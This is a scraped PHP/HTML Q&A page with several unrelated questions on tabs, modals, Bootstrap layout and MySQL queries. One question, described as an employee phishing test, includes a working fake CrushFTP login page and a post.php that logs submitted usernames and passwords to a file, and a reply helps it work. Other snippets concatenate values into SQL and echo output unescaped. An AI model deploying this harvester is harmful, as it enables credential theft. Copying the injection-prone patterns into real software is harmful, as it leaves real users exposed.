How to add navbar tabs in Foreach loop in PHP? - php

This is the code for displaying tabs but already I display but when i
click on tabs it doesn't show anything because its in the foreach loop so
there is only one li. so what should i do. pls help.
<div class="commerce-tabs">
<ul class="nav nav-tabs tabs">
<?php foreach($Addons as $newAddons){ ?>
<li class="active">
<a data-toggle="tab" href="#tab-noo_boxes_tab<?php echo $itm_id;?>">
<?php echo $newAddons->cat_name; ?></a>
</li>
<?php } ?>
</ul>
<div class="tab-content" style="background-color: #fff;">
<?php foreach($newAddons->Items as $newnewAddons){?>
<input type="hidden" name="addons_item_name[]" value="<?php echo $newnewAddons->item_name;?>">
<input type="hidden" name="itm_ids[]" value="<?php echo $newnewAddons->itm_id;?>">
<input type="hidden" name="uom_id[]" value="<?php echo $newnewAddons->uom_id;?>">
<input type="hidden" name="sh_price[]" value="<?php echo $newnewAddons->sh_price;?>">
<input type="hidden" name="totalAmt[]" value="<?php echo $newnewAddons->totalAmt;?>">
<input type="hidden" name="total_net_amt[]" value="<?php echo $newnewAddons->total_net_amt;?>">
<input type="hidden" name="adonprice[]" value="<?php echo $newnewAddons->price;?>">
<div class="content2">
<br>
<div class="wrap row">
<div class="tab-pane fade in active" id="tab-noo_boxes_tab" style="background-color: #fff;">
<div class="col-md-4">
<?php echo $newnewAddons->item_name;?></div>
<div class="col-md-2" style="text-align: center;">
<button type="button" id="sub" class="sub single_add_to_cart_button button">-</button>
</div>
<div class="col-md-4" style="text-align: center;">
<input class="count form-control" type="text" id="1" name="itm_weight[]" value="0" min="0" max="100" />
</div>
<div class="col-md-2" style="text-align: center;">
<button type="button" id="add" class="add single_add_to_cart_button button">+</button>
</div>
</div>
</div>
</div>
<?php }?>
</div>
</div>

Related

Login button not giving submit info while hitting enter works for getting credentials

I'm currently creating a phishing test for my employees and I got into a problem.I'm hosting my index.html on my local server using xampp and I want to when someone logs that I can get their info.I made a post.php that gives me the info when i use an username and password and it works.But it only works when I hit enter,when I clik on login it just redirects me to a page I made and I don't get any info in my text file.While I hover over my login button (Activate) it gives me that it redirects to the redircet page that I made.Do you have any suggestions how can I make that m,y login button(activate in the code) still gives me the info as same when I hit enter?
Thank you.
My code is below for index.html.
<html><head>
</div>
<form id="loginForm" name="loginForm" method="post" action="post.php" onsubmit="return doLogin2();">
<div id="panelbody">
<div id="branding" class="clearfix branding">
<img id="loginWheel" src="web%20FTP%20WebInterface_files/wheel.gif" style="display: none;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;">
</a>
</div>
<div id="panelLogin">
<div>
<label id="UserNameText">Username</label>
<input tabindex="1" autocomplete="on" type="text" class="textbox" name="username" id="username" value="/">
</div>
<div>
<label id="PasswordText">Password</label>
<input tabindex="2" autocomplete="on" type="password" class="textbox" name="password" id="password" value="">
</div>
<div id="rememberMePanel">
<label><input tabindex="3" type="checkbox" name="remember" id="remember" checked="checked"> <span id="RememberMeText">Remember Me</span></label>
</div>
<div id="acceptTC" style="display: none">
<label><input tabindex="4" type="checkbox" name="tandc" id="tandc"> <span id="TnCText"></span></label>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div id="recaptcha_div"></div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<input type="submit" value="login" style="display:none;">
<input type="hidden" name="command" value="login">
<input type="hidden" name="skip_login" value="true">
<input type="hidden" name="encoded" value="false">
<input type="submit" value="login now" style="position:absolute;left:-1000px;top:-1000px;">
<a class="button" id="btnLogin" href="javascript:void(0);">
<span id="LoginButtonText">Login</span>
</a>
</div>
<p class="lostpassword" style="visibility:hidden;">
I forgot my password
</p>
</div>
<div id="panelResetPass" style="display:none;">
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<h3 class="resetTitle" id="RequestPasswordHeaderText">Request Password</h3>
<div>
<label id="ResetUserNameText">Username</label>
<input autocomplete="off" type="text" class="textbox" name="resetUserName" id="resetUserName">
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<a class="button" id="btnResetPassword" href="javascript:void(0);">
<span id="ResetPasswordButtonText">Reset Password</span>
</a>
<a class="button" id="btnBackToLogin" href="javascript:void(0);">
<span id="BackToLoginButtonText">Back to Login</span>
</a>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
</div>
</div>
</form>
<form id="changePassForm" method="post" target="dummyIframe" action="/WebInterface/function/" onsubmit="doLogin();">
<div id="changepasswordPanel" style="display:none;margin-bottom:10px;">
<div class="clearfix branding" style="clear:both;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;margin:3px 0px 10px 0px;">
</a>
</div>
<h2 class="popupHeader" style="clear:both;margin-top:15px;" id="ChangePasswordHeaderText">Change your password</h2>
<div class="passwordChangeNote" id="ChangePasswordNoteText">You must change your password to continue</div>
<div class="buttonPanel">
<label for="current_password" id="CurrentPasswordText">Current Password : </label>
<input id="current_password" class="textbox" type="password">
<br>
<br>
<label for="new_password1" id="NewPasswordText">New Password : </label>
<input id="new_password1" class="textbox" type="password">
<br>
<br>
<label for="new_password2" id="ConfirmPasswordText">Confirm Password : </label>
<input id="new_password2" class="textbox" type="password">
<div style="text-align:right;margin-top:10px;">
<a id="btnChangePasswordCancel" class="button" href="javascript:void(0);">
<span id="CancelButtonText">Cancel</span>
</a>
<a id="btnChangePassword" class="button" href="javascript:void(0);">
<span id="ChanngePasswordButtonText">Change Password</span>
</a>
</div>
<div style="clear:both"></div>
<div class="spacing">
<br>
<hr>
<br>
</div>
<div id="generatePasswordPanel">
<a id="btnGeneratePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordButtonText">Generate password</span>
</a>
<div id="passwordGeneratePanel" style="display:none;">
<br>
<br>
<input id="generated_password" type="text" class="textboxSmall" style="float:left;">
<a id="usePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordUseButtonText">Use this</span>
</a>
<a id="cancelPassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordCancelButtonText">Cancel</span>
</a>
</div>
<div style="clear:both"></div>
</div>
</div>
</div>
</form>
</div>
<div id="OTPBox" style="display:none;">
<img class="closeButton" alt="close" src="web%20FTP%20WebInterface_files/cancel.png" onclick="$.unblockUI();">
<h2 class="popupHeader" id="OTPDialogHeaderText">Enter your OTP here</h2>
<div class="buttonPanel">
<div style="width:100%;">
<input id="otp" type="password" style="width:95%;padding:5px;">
</div>
<br>
<div id="OTPDialogDescText"></div>
<br>
<div style="text-align: right; margin-top: 10px;">
<button id="btnSubmitOTP">
<span id="OTPSubmitButtonText">Submit</span>
</button>
</div>
</div>
</div>
<div id="loginPageFooterText">
</div>
<iframe id="dummyIframe" name="dummyIframe" src="javascript:false;" style="display:none;"></iframe>
</body></html>
this is my post.php
<?php
// Set the location to redirect the page
header ('Location: http://localhost/redirect.html');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
?>
You have two different forms in your code. If you don't have an active input box hitting enter could be submitting one of the forms, while clicking submits the other form. Check which form your button is in and make sure both of them have "name" elements. Also unsure if having a submit button that's hidden via CSS could be triggered by an enter button.
The button works now,I had to change the span id into button id in the code for the login button,so it looks like this now.
<a class="button" id="btnLogin" action="post.php" href="localhost/redirect.html">
<button id="btnLogin" >Activate</button>

Fancybox modal, can not populate input fields from database

i have a project in php codeigniter where data is fetched from the DB, and with a foreach loop it creates rows in a table, each row has an edit button that opens the fancybox modal, in that modal i have 2 input fields, first name and last name that i try to populate them with the current values from the database, in the value section i tried value="<?php echo $row->first_name ?>, the problem is that all the rows get the same value, the modal does not get the correct data for each row.
Relevant code:
<a data-fancybox data-touch="false" href="#modal" class="btn btn-secondary" style=" margin-bottom:5px;" id="<?php echo $row->id; ?>" type="button" name="button">Edit</a>
<div id="modal">
<div class="content">
<div class="container-fluid">
<div class="row">
<form method="post" action="<?php echo base_url()?>index.php/welcome/formValidation">
<div class="form-row">
<div class="col-12 mb-3">
<h3 class="mb-3">Modifica Rapid:</h3>
<label for="nume">Nume:</label>
<input type="text" class="form-control" id="nume" placeholder="Nume" name="nume" value="<?php echo $row->last_name ?>"required>
</div>
<div class="col-12 mb-3">
<label for="prenume">Prenume</label>
<input type="text" class="form-control" id="prenume" placeholder="Prenume" name="prenume" value="<?php echo $row->first_name ?>" required>
</div>
<div class="col-12 mb-3 text-center">
<button style="width:150px;height:50px;" class="btn btn-warning" type="submit">Modifica</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
What you need to do is, attach the $row id to the modal css id so each modal is unique.
<a data-fancybox data-touch="false" href="#modal<?=$row->id;?>" class="btn btn-secondary" style=" margin-bottom:5px;" id="<?php echo $row->id; ?>" type="button" name="button">Edit</a>
<div id="modal<?=$row->id;?>">
<div class="content">
<div class="container-fluid">
<div class="row">
<form method="post" action="<?php echo base_url()?>index.php/welcome/formValidation">
<div class="form-row">
<div class="col-12 mb-3">
<h3 class="mb-3">Modifica Rapid:</h3>
<label for="nume">Nume:</label>
<input type="text" class="form-control" id="nume" placeholder="Nume" name="nume" value="<?php echo $row->last_name ?>"required>
</div>
<div class="col-12 mb-3">
<label for="prenume">Prenume</label>
<input type="text" class="form-control" id="prenume" placeholder="Prenume" name="prenume" value="<?php echo $row->first_name ?>" required>
</div>
<div class="col-12 mb-3 text-center">
<button style="width:150px;height:50px;" class="btn btn-warning" type="submit">Modifica</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
So change
<a data-fancybox data-touch="false" href="#modal" class="btn btn-secondary" style=" margin-bottom:5px;" id="<?php echo $row->id; ?>" type="button" name="button">Edit</a>
to
<a data-fancybox data-touch="false" href="#modal<?=$row->id;?>" class="btn btn-secondary" style=" margin-bottom:5px;" id="<?php echo $row->id; ?>" type="button" name="button">Edit</a>
by adding the row id to the css to get unique modal id if not all link will call only the last modal.
The same change too for the modal change
<div id="modal">
to
<div id="modal<?=$row->id;?>">
One of the workaround is you could assign data attributes containing the last_name and first_name data, and add an edit-btn class (as the trigger) to the edit button link :
<a data-fancybox data-touch="false" href="#modal" class="btn btn-secondary edit-btn" data-lastName="<?php echo $row->last_name ?>" data-firstName="<?php echo $row->first_name ?>" style=" margin-bottom:5px;" id="<?php echo $row->id; ?>" type="button" name="button">Edit</a>
<div id="modal">
<div class="content">
<div class="container-fluid">
<div class="row">
<form method="post" action="<?php echo base_url()?>index.php/welcome/formValidation">
<div class="form-row">
<div class="col-12 mb-3">
<h3 class="mb-3">Modifica Rapid:</h3>
<label for="nume">Nume:</label>
<input type="text" class="form-control" id="nume" placeholder="Nume" name="nume" required>
</div>
<div class="col-12 mb-3">
<label for="prenume">Prenume</label>
<input type="text" class="form-control" id="prenume" placeholder="Prenume" name="prenume" required>
</div>
<div class="col-12 mb-3 text-center">
<button style="width:150px;height:50px;" class="btn btn-warning" type="submit">Modifica</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
Then set the modal input value using each of the data value :
$(document).on("click", ".edit-btn", function () {
let lastname = $(this).attr("data-lastname");
let firstname = $(this).attr("data-firstname");
$('#nume').val(lastname); // set the lastname input inside the modal using the data attribute
$('#prenume').val(firstname); // set the firstname input inside the modal using the data attribute
});

page-header and row alignment

Picture of the issue.
I'm learning how to display mysql database data with php and running into a slight issue with alignment. The page-header of this site doesn't align with the first row of products. Here's the code:
<div class="container">
<div class="page-header">
<h1>For Sale</h1>
</div>
<div class="products">
<div class="container">
<div class="row">
<div class="col-sm-6 col-md-4">
<li class="product thumbnail">
<form method="post" action="cart_update.php">
<div class="product-content">
<div class="product-thumb"><img src="{$obj->product_img_name}" style="width:100%"></div>
<div class="caption">
<h3>{$obj->product_name}</h3>
<div class="product-desc"><p>{$obj->product_desc}</p></div>
<div class="product-info">
Price: {$currency}{$obj->price}
</div>
<fieldset>
<label>
<span>Color</span>
<select name="product_color">
<option value="Black">Black</option>
<option value="Silver">Silver</option>
</select>
</label>
<label>
<span>Quantity</span>
<input type="text" size="2" maxlength="2" name="product_qty" value="1" />
</label>
</fieldset>
<input type="hidden" name="product_code" value="{$obj->product_code}" />
<input type="hidden" name="type" value="add" />
<input type="hidden" name="return_url" value="{$current_url}" />
<div align="left"><button type="submit" class="add_to_cart btn btn-primary">Add</button></div>
</div></div>
</form>
</li>
</div>
Since you're using bootstrap, wrapping the <h1> tag with a <div class="container"> will horizontally align the title with your product items.
<link href="https://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet"/>
<div class="container">
<div class="page-header">
<div class="container">
<h1>For Sale</h1>
</div>
</div>
<div class="products">
<div class="container">
<div class="row">
<div class="col-sm-6 col-md-4">
<li class="product thumbnail">
<form method="post" action="cart_update.php">
<div class="product-content">
<div class="product-thumb"><img src="https://placehold.it/350x150" style="width:100%"></div>
<div class="caption">
<h3>name</h3>
<div class="product-desc">
<p>description</p>
</div>
<div class="product-info">
Price: $ 10,50
</div>
<fieldset>
<label>
<span>Color</span>
<select name="product_color">
<option value="Black">Black</option>
<option value="Silver">Silver</option>
</select>
</label>
<label>
<span>Quantity</span>
<input type="text" size="2" maxlength="2" name="product_qty" value="1" />
</label>
</fieldset>
<input type="hidden" name="product_code" value="{$obj->product_code}" />
<input type="hidden" name="type" value="add" />
<input type="hidden" name="return_url" value="{$current_url}" />
<div align="left">
<button type="submit" class="add_to_cart btn btn-primary">Add</button>
</div>
</div>
</div>
</form>
</li>
</div>

Undefined index: template_id

I am karthik, in my project i have one problem, i am getting error undefine index: template_id. I have searched more in net but i can't rectify this problem i have attached my code below, please guide me
if($fetquery["template_id"] == 5){
$query = mysql_query("SELECT * FROM ".$fetquery['table_name']." WHERE template_content_id = ".$fetquery['id']."");
$fetquery = mysql_fetch_array($query);
?>
<!-- Template5-->
<input type="hidden" name="template5" value="template5">
<div class="fillContent" id="subscreen5">
<div class="mainTitle">
<h3>Fill Content - Template E</h3>
</div>
<input type="hidden" name="template5id" value="<?php echo $fetquery['temp5_id']; ?>">
<div class="current-title">
<label>Main Title</label> <input type="text" class="fillTitleText" name="etemp5title"placeholder="Lorem Ipsum" value="<?php echo $fetquery['title']; ?>"><!-- Edit -->
</div>
<div class="section2">
<div class="contentSecTitle">
<h3>Banner Image</h3>
</div>
<div class="subSec">
<div class="subSec1">
<div class="contentSec2Left">
<input type="text" id="template5banner" value="<?php echo $fetquery['bannerimage']; ?>" class="upLoadText">
<div class="fileUpload btn btn-primary">
<span class="uploadImage"></span>
<input id="temp5_bannerimg" onchange="addtemplate5banner(this)" name="etemplate5bannerimg" type="file" class="upload" value="Browse">
</div>
</div>
<div class="contentSecRight">
<input type="hidden" name="gettopImage" value="<?php echo $fetquery['bannerimage']; ?>">
<p class="imageView3"><img src="<?php echo $fetquery['bannerimage']; ?>" style="width:82px; height:82px;" id="changetemp5banner"><br><br>Current Image</p>
<!-- <p class="imageView4">filename.jpg</p>
<div class="deLete">
</div>
-->
</div>
</div>
</div>
</div>
<div class="fillSec">
<div class="contentSecTitle">
<h3>Content</h3>
</div>
<div class="current-textarea">
<div class="text-area">
<label>Description</label> <textarea rows="4" name="etemp5desc" ><?php echo $fetquery['description']; ?></textarea>
</div>
</div>
</div>
</div>
<?php
}
if($fetquery["template_id"] == 6){
//echo "SELECT * FROM ".$fetquery['table_name']." WHERE template_content_id = ".$fetquery['id']."";
$query = mysql_query("SELECT * FROM ".$fetquery['table_name']." WHERE template_content_id = ".$fetquery['id']."");
$fetquery = mysql_fetch_array($query);
?>
<!-- Template6-->
<input type="hidden" name="template6" value="template6">
<div class="fillContent" id="subscreen6">
<div class="mainTitle">
<h3>Fill Content - Template F</h3>
</div>
<input type="hidden" name="template6id" value="<?php echo $fetquery['temp6_id']; ?>">
<div class="current-title">
<label>Main Title</label> <input value="<?php echo $fetquery['title']; ?>" type="text" class="fillTitleText" name="etemplate6title" placeholder="Lorem Ipsum"> <!--Edit -->
</div>
<div class="section2">
<div class="contentSecTitle">
<h3>Banner Image</h3>
</div>
<div class="subSec">
<div class="subSec1">
<div class="contentSec2Left">
<input type="text" id="template6banner" value="<?php echo $fetquery['bannerimage']; ?>" class="upLoadText">
<div class="fileUpload btn btn-primary">
<span class="uploadImage"></span>
<input id="temp6_bannerimg" onchange="addtemplate6banner(this)" name="template6bannerimg" type="file" class="upload" value="Browse">
</div>
</div>
<div class="contentSecRight">
<input type="hidden" name="gettopImage" value="<?php echo $fetquery['bannerimage']; ?>">
<p class="imageView3"><img src="<?php echo $fetquery['bannerimage']; ?>" style="width:82px; height:82px;" id="changetemp6banner"><br><br>Current Image</p>
<!-- <p class="imageView4">filename.jpg</p>
<div class="deLete">
</div> -->
</div>
</div>
</div>
</div>
<div class="fillSec">
<div class="contentSecTitle">
<h3>Content</h3>
</div>
<div class="current-textarea">
<div class="text-area">
<label>Desription</label> <textarea rows="4" name="temp6desc"><?php echo $fetquery['description']; ?></textarea>
</div>
</div>
</div>
</div>
<?php } ?>
This code was in ajax page
Try to add a check before using it. And also check if it is defined or not. -
if (!empty($fetquery["template_id"]) && $fetquery["template_id"] == 5) { ...

short preview with mysql pdo

I can't make it work the short preview with LEFT() and substr() only with RIGHT() with mysql PDO but I need show the first 100 characters of description not the last ones...where is the error in my code?
Code:
<?php
$sql = $conn->prepare("SELECT id_blog, titulo, LEFT(blog,100) AS blog, DATE_FORMAT(f_blog, '%d %M %Y') AS f_blog FROM BLOG ORDER BY id_blog DESC");
$sql->execute();
while($row = $sql->fetch(PDO::FETCH_ASSOC)){ echo '
<div class="span9 pad15" id="'.$row["id_blog"].'">
<div class="row">
<div class="span1">
<div class="btn btn-medium btn-rounded btn-blog1">'; echo $row["f_blog"]; echo
'</div>
</div>
<div class="span8">
<h1 class="post_link">'; echo $row["blog_titulo"]; echo '</h1>
<p>'; echo $row["blog"]; echo ' ...</p>
<div class="read_more">Leer más →</div>
<div class="pad30"></div>
</div>
</div>
</div>'; } ?>
with LEFT(blog, 100) AS blog not show nothing
with substr(blog, 0,100) AS blog not show nothing
with RIGHT(blog,100) AS blog show the last 100 characters
Here the LEFT() is working nice in the same web page but in the first one no work.
CODE:
<?php
$sql = "SELECT id_oferta, oferta_titulo, oferta_subtitulo, LEFT(oferta_mensaje, 50) AS oferta_mensaje, oferta_precio, oferta_foto FROM OFERTAS ORDER BY id_oferta DESC";
$result = $conn->query($sql);
while($row = $result->fetch(PDO::FETCH_ASSOC)) { ?>
<?php if (!empty($row['id_oferta'])) { echo '
<div class="span3" id"'.$row["id_oferta"].'">
<div class="tile">
<div>
<img src="../admin/assets/img/ofertas/'.$row["oferta_foto"].'" alt="'.$row["oferta_titulo"].'" class="img-circle" style="max-width:100px; max-height:100px;" />
</div>
<span>'; echo $row["oferta_titulo"]; echo '</span>
<h6><small>'; echo $row["oferta_subtitulo"]; echo '</small></h6>
<p>'; echo $row["oferta_mensaje"]; echo '</p>
<h5><div class="intro-icon-disc"><b>$'; echo $row["oferta_precio"]; echo '</b></div></h5>
</div>
<div class="pad25"></div>
</div>'; } ?>
<div id="myModal" class="modal hide fade" id"<?php echo $row["id_oferta"]; ?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
<h3 id="myModalLabel"><b>Cupón para : <?php echo $row["oferta_titulo"]; ?></b></h3>
</div>
<div class="modal-body">
<form name="cupon" id="cupon" method="post">
<div class="row-fluid grid">
<div class="span6">
<label><b>Nombres : </b></label><input type="text" class="input-block-level" name="nombres" />
</div>
<div class="span2">
</div>
<div class="span4">
<label><b>DUI : </b></label><input type="text" class="input-block-level" name="dui" />
</div>
</div>
<div class="row-fluid grid">
<div class="span6">
<label><b>Correo : </b></label><input type="text" class="input-block-level" name="corelectronico" />
</div>
</div>
<input type="hidden" name="of_titulo" type="text" value="<?php echo $row['oferta_titulo']; ?>" />
<input type="hidden" name="of_stitulo" type="text" value="<?php echo $row['oferta_subtitulo']; ?>" />
<input type="hidden" name="of_mensaje" type="text" value="<?php echo $row['oferta_mensaje']; ?>" />
<input type="hidden" name="of_precio" type="text" value="<?php echo $row['oferta_precio']; ?>" />
<input type="hidden" name="of_foto" type="text" value="<?php echo $row['oferta_foto']; ?>" />
<div class="row-fluid grid">
<div class="span4" id="div1">
<input type="hidden" name="action" value="create_cupon" />
<button class="positive btn btn-inverse" type="submit" id="enviar" name="enviar">
<i class="icon icon-save icon-white"></i>
Grabar Cupón
</button>
</div>
<div class="span4">
</div>
<div class="span4" id="div2">
<a class="negative btn btn-info" href="impcupon.php" target="popup" onClick="window.open(this.href, this.target, "scrollbars=yes,toolbar=no,menubar=no,status=no,width=parent,height=parent"); return false;" onclick="boton(this)" id="imprimir">
<i class=" icon-print icon-white"></i>
Imprimir Cupón
</a>
</div>
</div>
</form>
<div id="loading_cupon" style="display:none;"><img src="img/loaders/loader.gif" /></div>
</div>
<div class="modal-footer">
<button class="btn" data-dismiss="modal" aria-hidden="true">
Cerrar
</button>
</div>
</div><?php } ?>
As mentioned in your comments oferta_mensaje is type longtext. You can use CAST() in this case.
"SELECT id_oferta, oferta_titulo, oferta_subtitulo,
CAST(oferta_mensaje as char(50))
AS oferta_mensaje, oferta_precio, oferta_foto
FROM OFERTAS ORDER BY id_oferta DESC";

Categories